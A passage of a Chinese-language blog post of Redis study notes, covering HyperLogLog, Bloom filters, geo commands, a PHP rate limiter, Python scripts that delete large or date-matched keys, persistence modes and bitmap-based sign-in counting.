class="comment">//业务处理</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span>(\Exception $e) &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/30826</span></span><br><span class="line">HyperLogLog 算法是一种非常巧妙的近似统计海量去重元素数量的算法。它内部维护了 <span class="number">16384</span> 个桶（bucket）来记录各自桶的元素数量。当一个元素到来时，它会散列到其中一个桶，以一定的概率影响这个桶的计数值。因为是概率算法，所以单个桶的计数值并不准确，但是将所有的桶计数值进行调合均值累加起来，结果就会非常接近真实的计数值。</span><br><span class="line"></span><br><span class="line">pfadd 增加计数</span><br><span class="line">pfcount 获取计数</span><br><span class="line">HyperLogLog 还提供了第三个指令 pfmerge，用于将多个 pf 计数值累加在一起形成一个新的 pf 值。</span><br><span class="line"></span><br><span class="line">比如在网站中我们有两个内容差不多的页面，运营需要将两个页面的数据进行合并。其中页面的 UV 访问量也需要合并，这时候就可以使用 pfmerge</span><br><span class="line">布隆过滤器可以理解为一个不怎么精确的 set 结构</span><br><span class="line">&gt; docker pull redislabs/rebloom # 拉取镜像</span><br><span class="line">&gt; docker run -p 6379:6379 redislabs/rebloom # 运行容器</span><br><span class="line">&gt; redis-cli # 连接容器中的 redis 服务</span><br><span class="line">bf.add 添加元素</span><br><span class="line">bf.exists 查询元素是否存在</span><br><span class="line">bf.madd 一次添加多个元素</span><br><span class="line">bf.mexists 一次查询多个元素是否存在</span><br><span class="line"></span><br><span class="line">主要是解决大规模数据下不需要精确过滤的场景，如检查垃圾邮件地址，爬虫 URL 地址去重，解决缓存穿透问题等。</span><br></pre></td></tr></table></figure>
<h3 id="geo"><a href="#geo" class="headerlink" title="geo"></a>geo</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">添加杭州北京上海的地理位置</span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geoadd city <span class="number">120.20000</span> <span class="number">30.26667</span> hangzhou  <span class="number">116.41667</span> <span class="number">39.91667</span> beijing <span class="number">121.47</span> <span class="number">31.23</span> shanghai</span><br><span class="line">geopos 指令可以获取集合中任意元素的经纬度坐标，可以一次获取多个。</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geopos city hangzhou  beijing shanghai</span><br><span class="line"><span class="number">1</span>) <span class="number">1</span>) <span class="string">"120.15000075101852417"</span></span><br><span class="line">   <span class="number">2</span>) <span class="string">"30.2800007575645509"</span></span><br><span class="line"><span class="number">2</span>) <span class="number">1</span>) <span class="string">"116.39999896287918091"</span></span><br><span class="line">   <span class="number">2</span>) <span class="string">"39.90000009167092543"</span></span><br><span class="line"><span class="number">3</span>) <span class="number">1</span>) <span class="string">"121.47000163793563843"</span></span><br><span class="line">   <span class="number">2</span>) <span class="string">"31.22999903975783553"</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geopos city hangzhou</span><br><span class="line"><span class="number">1</span>) <span class="number">1</span>) <span class="string">"120.15000075101852417"</span></span><br><span class="line">   <span class="number">2</span>) <span class="string">"30.2800007575645509"</span></span><br><span class="line">计算距离</span><br><span class="line"></span><br><span class="line">距离单位可以是 m、km、ml、ft，分别代表米、千米、英里和尺。</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geodist city shanghai hangzhou  km</span><br><span class="line"><span class="string">"164.5694"</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geodist city beijing  hangzhou  km</span><br><span class="line"><span class="string">"1122.7998"</span></span><br><span class="line"></span><br><span class="line">例如查找距离杭州<span class="number">300</span>km以内的城市的<span class="number">10</span>个城市按距离排序</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; GEORADIUSBYMEMBER city hangzhou <span class="number">300</span> km WITHCOORD WITHDIST WITHHASH  ASC COUNT <span class="number">10</span></span><br><span class="line"><span class="number">1</span>) <span class="number">1</span>) <span class="string">"hangzhou"</span></span><br><span class="line">   <span class="number">2</span>) <span class="string">"0.0000"</span></span><br><span class="line">   <span class="number">3</span>) (integer) <span class="number">4054134257390783</span></span><br><span class="line">   <span class="number">4</span>) <span class="number">1</span>) <span class="string">"120.15000075101852417"</span></span><br><span class="line">      <span class="number">2</span>) <span class="string">"30.2800007575645509"</span></span><br><span class="line"><span class="number">2</span>) <span class="number">1</span>) <span class="string">"shanghai"</span></span><br><span class="line">   <span class="number">2</span>) <span class="string">"164.5694"</span></span><br><span class="line">   <span class="number">3</span>) (integer) <span class="number">4054803462927619</span></span><br><span class="line">   <span class="number">4</span>) <span class="number">1</span>) <span class="string">"121.47000163793563843"</span></span><br><span class="line">      <span class="number">2</span>) <span class="string">"31.22999903975783553"</span></span><br><span class="line">在给定以下可选项时， 命令会返回额外的信息：</span><br><span class="line"></span><br><span class="line">WITHDIST ： 在返回位置元素的同时， 将位置元素与中心之间的距离也一并返回。 距离的单位和用户给定的范围单位保持一致。</span><br><span class="line">WITHCOORD ： 将位置元素的经度和维度也一并返回。</span><br><span class="line">WITHHASH ： 以 <span class="number">52</span> 位有符号整数的形式， 返回位置元素经过原始 geohash 编码的有序集合分值。</span><br><span class="line">ASC ： 根据中心的位置， 按照从近到远的方式返回位置元素。DESC ： 根据中心的位置， 按照从远到近的方式返回位置元素。</span><br><span class="line">获取元素的 hash 值</span><br><span class="line"></span><br><span class="line">可能你还注意到有一个命令 GEOHASH, 那他是做什么的呢</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geohash city hangzhou</span><br><span class="line"><span class="number">1</span>) <span class="string">"wtmkq069cc0"</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; geohash city beijing</span><br><span class="line"><span class="number">1</span>) <span class="string">"wx4fbxxfke0"</span></span><br><span class="line">返回的其实是元素的经纬度经过 goehash 计算后的 base32 编码字符串</span><br><span class="line"></span><br><span class="line">http:<span class="comment">//geohash.org/wtmkq069cc0  进行直接定位 </span></span><br><span class="line">其存储结构主要使用的是 Redis 的有序结构，其 score 是 GeoHash 的 <span class="number">52</span> 位整数值</span><br><span class="line"></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; ZRANGE city <span class="number">0</span> <span class="number">-1</span> WITHSCORES</span><br><span class="line"><span class="number">1</span>) <span class="string">"hangzhou"</span></span><br><span class="line"><span class="number">2</span>) <span class="string">"4054134257390783"</span></span><br><span class="line"><span class="number">3</span>) <span class="string">"shanghai"</span></span><br><span class="line"><span class="number">4</span>) <span class="string">"4054803462927619"</span></span><br><span class="line"><span class="number">5</span>) <span class="string">"beijing"</span></span><br><span class="line"><span class="number">6</span>) <span class="string">"4069885360207904"</span></span><br></pre></td></tr></table></figure>
<h3 id="限流"><a href="#限流" class="headerlink" title="限流"></a>限流</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">在高并发场景下有三把利器保护系统：缓存、降级、和限流。缓存的目的是提升系统的访问你速度和增大系统能处理的容量；降级是当服务出问题或影响到核心流程的性能则需要暂时屏蔽掉。而有些场景则需要限制并发请求量，如秒杀、抢购、发帖、评论、恶意爬虫等。</span><br><span class="line"></span><br><span class="line">限流算法</span><br><span class="line">常见的限流算法有：计数器，漏桶、令牌桶。</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isActionAllowed</span>(<span class="params">$userId, $action, $period, $maxCount</span>) </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $redis = <span class="keyword">new</span> Redis();</span><br><span class="line">    $redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line">    $key = sprintf(<span class="string">'hist:%s:%s'</span>, $userId, $action);</span><br><span class="line">    $now = msectime();   # 毫秒时间戳</span><br><span class="line"></span><br><span class="line">    $pipe=$redis-&gt;multi(Redis::PIPELINE); <span class="comment">//使用管道提升性能</span></span><br><span class="line">    $pipe-&gt;zadd($key, $now, $now); <span class="comment">//value 和 score 都使用毫秒时间戳</span></span><br><span class="line">    $pipe-&gt;zremrangebyscore($key, <span class="number">0</span>, $now - $period); <span class="comment">//移除时间窗口之前的行为记录，剩下的都是时间窗口内的</span></span><br><span class="line">    $pipe-&gt;zcard($key);  <span class="comment">//获取窗口内的行为数量</span></span><br><span class="line">    $pipe-&gt;expire($key, $period + <span class="number">1</span>);  <span class="comment">//多加一秒过期时间</span></span><br><span class="line">    $replies = $pipe-&gt;exec();</span><br><span class="line">    <span class="keyword">return</span> $replies[<span class="number">2</span>] &lt;= $maxCount;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> ($i=<span class="number">0</span>; $i&lt;<span class="number">20</span>; $i++)&#123;</span><br><span class="line">    var_dump(isActionAllowed(<span class="string">"110"</span>, <span class="string">"reply"</span>, <span class="number">60</span>*<span class="number">1000</span>, <span class="number">5</span>)); <span class="comment">//执行可以发现只有前5次是通过的</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//返回当前的毫秒时间戳</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">msectime</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    list($msec, $sec) = explode(<span class="string">' '</span>, microtime());</span><br><span class="line">    $msectime = (float)sprintf(<span class="string">'%.0f'</span>, (floatval($msec) + floatval($sec)) * <span class="number">1000</span>);</span><br><span class="line">    <span class="keyword">return</span> $msectime;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure>
<h3 id="redis-删除大key集合的方法"><a href="#redis-删除大key集合的方法" class="headerlink" title="redis 删除大key集合的方法"></a>redis 删除大key集合的方法</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> redis</span><br><span class="line"></span><br><span class="line">def test():</span><br><span class="line">    # StrictRedis创建连接时，这个连接由连接池管理，所以我们无需关注连接是否需要主动释放http://www.ikeguang.com/2019/03/14/redis-del-security/</span><br><span class="line">	re = redis.StrictRedis(host = <span class="string">"0.0.0.0"</span>,port = <span class="number">6379</span>,password = <span class="string">"123"</span>)</span><br><span class="line">	key = <span class="string">"test"</span></span><br><span class="line">	<span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">100000</span>):</span><br><span class="line">		re.sadd(key, i)</span><br><span class="line"></span><br><span class="line">	cursor = <span class="string">'0'</span></span><br><span class="line">	cou = <span class="number">200</span></span><br><span class="line">	<span class="keyword">while</span> cursor != <span class="number">0</span>:</span><br><span class="line">		cursor,data = re.sscan(name = key, cursor = cursor, count = cou)</span><br><span class="line">		<span class="keyword">for</span> item <span class="keyword">in</span> data:</span><br><span class="line">			re.srem(key, item)</span><br><span class="line">		print cursor</span><br></pre></td></tr></table></figure>
<h3 id="删除redis中过时的key"><a href="#删除redis中过时的key" class="headerlink" title="删除redis中过时的key"></a>删除redis中过时的key</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/python</span></span><br><span class="line"># -*- coding:utf-8 -*-</span><br><span class="line"></span><br><span class="line"># 需要手动删除redis中某一天产生的key</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> commands</span><br><span class="line"></span><br><span class="line"># 执行 shell 命令</span><br><span class="line">def execCmd(cmd):</span><br><span class="line">	print cmd</span><br><span class="line">	<span class="keyword">return</span> commands.getstatusoutput(cmd)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">	args = sys.argv</span><br><span class="line">	<span class="keyword">if</span> len(args) != <span class="number">4</span>:</span><br><span class="line">		print <span class="string">'please input correct cmd argument, like python /home/hadoop/scripts/rediskey.py 2018-08-01 port passwd'</span></span><br><span class="line">		sys.exit(<span class="number">1</span>)</span><br><span class="line">	date = args[<span class="number">1</span>]</span><br><span class="line">	port = args[<span class="number">2</span>]</span><br><span class="line">	passwd = args[<span class="number">3</span>]</span><br><span class="line">	keyPath = <span class="string">'/home/hadoop/scripts/rediskey.txt'</span></span><br><span class="line">	cmd = <span class="string">'/app/local/redis-3.2.11/src/redis-cli -h 0.0.0.0 -p %s -a %s keys *%s* &gt; %s'</span>%(port, passwd, date, keyPath)</span><br><span class="line">	(status,result) = execCmd(cmd)</span><br><span class="line">	<span class="keyword">if</span> status == <span class="number">0</span>:</span><br><span class="line">		<span class="keyword">with</span> open(keyPath) <span class="keyword">as</span> f:</span><br><span class="line">			line = f.readline()</span><br><span class="line">			<span class="keyword">while</span> line:</span><br><span class="line">				key = line.strip()</span><br><span class="line">				cmd = <span class="string">'/app/local/redis-3.2.11/src/redis-cli -h 0.0.0.0 -p %s -a %s del %s'</span>%(port, passwd, key)</span><br><span class="line">				(status,result) = execCmd(cmd)</span><br><span class="line">				<span class="keyword">if</span> status == <span class="number">0</span>:</span><br><span class="line">					print <span class="string">'del key %s success'</span>%(key)</span><br><span class="line">				<span class="keyword">else</span>:</span><br><span class="line">					print <span class="string">'del key %s failed...'</span>%(key)</span><br><span class="line">					print result</span><br><span class="line">				line = f.readline()</span><br><span class="line">	<span class="keyword">else</span>:</span><br><span class="line">		print result</span><br><span class="line">	print <span class="string">'redis %s key delete finished...'</span>%(date)</span><br><span class="line">调用这个脚本，只需要输入命令：python /home/hadoop/scripts/rediskey.py <span class="string">'2018-08-01'</span> <span class="number">6379</span> <span class="string">'123456'</span></span><br><span class="line">四个参数：</span><br><span class="line"> </span><br><span class="line">脚本名：/home/hadoop/scripts/rediskey.py</span><br><span class="line">要清理的日期：<span class="number">2018</span><span class="number">-08</span><span class="number">-01</span></span><br><span class="line">端口：<span class="number">6379</span></span><br><span class="line">host：<span class="number">123456</span></span><br><span class="line">基本思想就是模糊匹配redis的key，保存到一个文件，然后读取文件每一行，删除key即可。http:<span class="comment">//www.ikeguang.com/2018/08/28/delete-redis-key/</span></span><br></pre></td></tr></table></figure>
<h3 id="redis总结"><a href="#redis总结" class="headerlink" title="redis总结"></a>redis总结</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line">redis中的键的生存时间</span><br><span class="line">expire  设置生存时间（单位/秒）</span><br><span class="line">expire key seconds(秒)</span><br><span class="line"></span><br><span class="line">ttl 查看键的剩余生存时间</span><br><span class="line">ttl key</span><br><span class="line"></span><br><span class="line">persist 取消生存时间</span><br><span class="line">persist key</span><br><span class="line"></span><br><span class="line">expireat指定时刻过期</span><br><span class="line">expireat key unix时间戳</span><br><span class="line">expireat key <span class="number">1551858600</span></span><br><span class="line">一组redis命令要么都执行，要么都不执行。</span><br><span class="line">原理：先将属于一个事务的命令发送给redis进行缓存，最后再让redis依次执行这些命令。</span><br><span class="line"></span><br><span class="line">应用场景：</span><br><span class="line">一组命令必须同时都执行，或者都不执行。</span><br><span class="line">我们想要保证一组命令在执行的过程之中不被其它命令插入。</span><br><span class="line">multi    <span class="comment">//事务开始</span></span><br><span class="line">.....</span><br><span class="line">exec     <span class="comment">//事务结束，开始执行事务中的命令</span></span><br><span class="line">discard     <span class="comment">//放弃事务</span></span><br><span class="line">正因为redis不支持回滚功能，才使得redis在事务上可以保持简洁和快速。</span><br><span class="line">redis持久化指把数据持久化到磁盘，便于故障恢复，redis支持两种方式的持久化，可以单独使用或者结合起来使用。</span><br><span class="line"></span><br><span class="line">第一种：RDB方式（redis默认的持久化方式）</span><br><span class="line">第二种：AOF方式</span><br><span class="line">edis持久化之RDB</span><br><span class="line"></span><br><span class="line">rdb方式的持久化是通过快照完成的，当符合一定条件时redis会自动将内存中的所有数据执行快照操作并存储到硬盘上。默认存储在dump.rdb文件中。(文件名在配置文件中dbfilename)</span><br><span class="line"></span><br><span class="line">redis进行快照的时机（在配置文件redis.conf中）</span><br><span class="line"></span><br><span class="line"> http:<span class="comment">//www.ikeguang.com/2018/12/12/redis-usage/</span></span><br><span class="line">save <span class="number">900</span> <span class="number">1</span>  <span class="comment">//表示900秒内至少一个键被更改则进行快照。</span></span><br><span class="line">save <span class="number">300</span> <span class="number">10</span>  <span class="comment">//表示300秒内10条被更改则快照</span></span><br><span class="line">save <span class="number">60</span> <span class="number">10000</span>  <span class="comment">//60秒内10000条</span></span><br><span class="line">Redis自动实现快照的过程</span><br><span class="line"></span><br><span class="line"><span class="number">1</span>、redis使用fork函数复制一份当前进程的副本(子进程)</span><br><span class="line"><span class="number">2</span>、父进程继续接收并处理客户端发来的命令，而子进程开始将内存中的数据写入硬盘中的临时文件</span><br><span class="line"><span class="number">3</span>、当子进程写入完所有数据后会用该临时文件替换旧的RDB文件，至此，一次快照操作完成。</span><br><span class="line">注意：快照时，要保证内存还有一半空间。</span><br><span class="line">rdb的优缺点</span><br><span class="line"></span><br><span class="line">优点：由于存储的有数据快照文件，恢复数据很方便。</span><br><span class="line">缺点：会丢失最后一次快照以后更改的所有数据。</span><br><span class="line"></span><br><span class="line">redis持久化之AOF</span><br><span class="line"></span><br><span class="line">把写操作指令，持续的写到一个类似日志文件里。</span><br><span class="line"></span><br><span class="line">由于写操作指令保存在日志文件里，异常恢复时把文件里面所有指令执行一遍即可。如果你执行了flushall命令，清空了redis，而你采用的aof持久化方式，那么，就可以找到这个文件，将最后一行flushall删掉，执行恢复命令，将命令全部执行一遍，这样数据就恢复了。</span><br><span class="line">AOF 的默认策略为每秒钟 fsync 一次，在这种配置下，Redis 仍然可以保持良好的性能，并且就算发生故障停机，也最多只会丢失一秒钟的数据（ fsync 会在后台线程执行，所以主线程可以继续努力地处理命令请求）。</span><br><span class="line"></span><br><span class="line">对于相同的数据集来说，AOF 文件的体积通常要大于 RDB 文件的体积。根据所使用的 fsync 策略，AOF 的速度可能会慢于 RDB 。</span><br><span class="line">Redis 的 bit 可以用于实现比 set 内存高度压缩的计数，它通过一个 bit <span class="number">1</span> 或 <span class="number">0</span> 来存储某个元素是否存在信息。例如网站唯一访客计数，可以把 user_id 作为 bit 的偏移量 offset，设置为 <span class="number">1</span> 表示有访问，使用 <span class="number">1</span> MB的空间就可以存放 <span class="number">800</span> 多万用户的一天访问计数情况。</span><br><span class="line">SETBIT key offset value  # 设置位信息 setbit users 123 1</span><br><span class="line">GETBIT key offset        # 获取位信息</span><br><span class="line">BITCOUNT key [start end] # 计数</span><br><span class="line">BITOP operation destkey key [key ...]  # 位图合并</span><br><span class="line">基于 bit 的方法比起 set 空间消耗小得多，但是它要求元素能否简单映射为位偏移，适用面窄了不少，另外它消耗的空间取决于最大偏移量，和计数值无关，如果最大偏移量很大，消耗内存也相当可观。</span><br><span class="line"></span><br><span class="line">数据在【从服务器】里【读】，在【主服务器】里【写】。</span><br><span class="line">数据库分为两类，一类是主数据库（master），另一类是从数据库[<span class="number">1</span>] （slave）。主数据库可以进行读写操作，当写操作导致数据变化时会自动将数据同步给从数据库。而从数据库一般是只读的，并接受主数据库同步过来的数据。一个主数据库可以拥有多个从数据库，而一个从数据库只能拥有一个主数据库。</span><br><span class="line">SETBIT video:<span class="number">1201</span> <span class="number">200</span> <span class="number">1</span></span><br><span class="line"># 上面的命令就是设置ID为200的用户，已经看过了ID为1201的视频。 </span><br><span class="line">GETBIT video:<span class="number">1201</span> <span class="number">200</span></span><br><span class="line"># 上面的命令就是查询ID为200的用户是否观看了ID为1201的视频</span><br><span class="line">https:<span class="comment">//www.zhihu.com/question/27672245</span></span><br><span class="line">&gt;set zhihu <span class="string">"www.zhihu.com"</span></span><br><span class="line">&gt;bitcount zhihu</span><br><span class="line"><span class="number">61</span></span><br><span class="line">$str = <span class="string">"www.zhihu.com"</span>;</span><br><span class="line"><span class="keyword">for</span>($i = <span class="number">0</span>;$i&lt;strlen($str);$i++) &#123;</span><br><span class="line">	$bin .= sprintf(<span class="string">"%08b"</span>, ord($str[$i]));</span><br><span class="line">&#125;</span><br><span class="line">echo ($bin); #01110111011101110111011100101110011110100110100001101001011010000111010100101110011000110110111101101101</span><br><span class="line">echo array_sum(str_split($bin, 1)); #61</span><br><span class="line"></span><br><span class="line"> &gt;set andy a</span><br><span class="line"> &gt;setbit andy <span class="number">6</span> <span class="number">1</span></span><br><span class="line"> &gt;setbit andy <span class="number">7</span> <span class="number">0</span></span><br><span class="line"> &gt;get andy </span><br><span class="line"> b</span><br><span class="line"> BITCOUNT 就是统计字符串的二级制码中，有多少个<span class="string">'1'</span>。 所以在这里，</span><br><span class="line"> </span><br><span class="line"> BITCOUNT andy 得到的结果就是 <span class="number">3</span> 啦。</span><br><span class="line"> </span><br><span class="line"><span class="string">'a'</span> 的ASCII码是  <span class="number">97</span>。转换为二进制是：<span class="number">01100001</span>。offset的学名叫做“偏移” 。二进制中的每一位就是offset值啦，比如在这里  offset <span class="number">0</span> 等于 ‘<span class="number">0</span>’ ，offset <span class="number">1</span>等于<span class="string">'1'</span> ,offset2等于<span class="string">'1'</span>,offset <span class="number">7</span> 等于<span class="string">'1'</span> ，没错，offset是从左往右计数的，也就是从高位往低位。我们通过SETBIT 命令将 andy中的 <span class="string">'a'</span> 变成 <span class="string">'b'</span> 应该怎么变呢？也就是将 <span class="number">01100001</span> 变成 <span class="number">01100010</span> （b的ASCII码是<span class="number">98</span>），这个很简单啦，也就是将<span class="string">'a'</span>中的offset <span class="number">6</span>从<span class="number">0</span>变成<span class="number">1</span>，将offset <span class="number">7</span> 从<span class="number">1</span>变成<span class="number">0</span> 。</span><br><span class="line"></span><br><span class="line"> bitcount key startOffset endOffset</span><br><span class="line"> </span><br><span class="line"> key：键值</span><br><span class="line"> </span><br><span class="line"> startOffset：起始偏移量（注意：这个偏移量是以字节为单位的）</span><br><span class="line"> </span><br><span class="line"> endOffset：结束偏移量（注意：这个偏移量同样是以字节为单位的）</span><br></pre></td></tr></table></figure>
<h3 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> $dayKey = <span class="string">'login:'</span>.\date(<span class="string">'Ymd'</span>,\time());</span><br><span class="line">$redis-&gt;setbit($dayKey, $<span class="keyword">this</span>-&gt;user-&gt;id, <span class="number">1</span>);</span><br><span class="line">$redis-&gt;bitop(<span class="string">'AND'</span>, <span class="string">'threeAnd'</span>, <span class="string">'login:20190311'</span>, <span class="string">'login:20190312'</span>, <span class="string">'login:20190313'</span>);</span><br><span class="line">echo <span class="string">"连续三天都签到的用户数量："</span> . $redis-&gt;bitCount(<span class="string">'threeAnd'</span>);</span><br><span class="line"></span><br><span class="line">$redis-&gt;bitop(<span class="string">'OR'</span>, <span class="string">'threeOr'</span>, <span class="string">'login:20190311'</span>, <span class="string">'login:20190312'</span>, <span class="string">'login:20190313'</span>);</span><br><span class="line">echo <span class="string">"三天中签到用户数量（有一天签也算签了）："</span> . $redis-&gt;bitCount(<span class="string">'threeOr'</span>);</span><br><span class="line"></span><br><span class="line">$redis-&gt;bitop(<span class="string">'AND'</span>, <span class="string">'monthActivities'</span><span class="string">', $redis-&gt;keys('</span>login:<span class="number">201903</span>*<span class="string">'));</span></span><br><span class="line"><span class="string">echo "连续一个月签到用户数量：" . $redis-&gt;bitCount('</span>monthActivities<span class="string">');</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">echo "当前用户指定天数是否签到：" . $redis-&gt;getbit('</span>login:<span class="number">20190311</span><span class="string">', 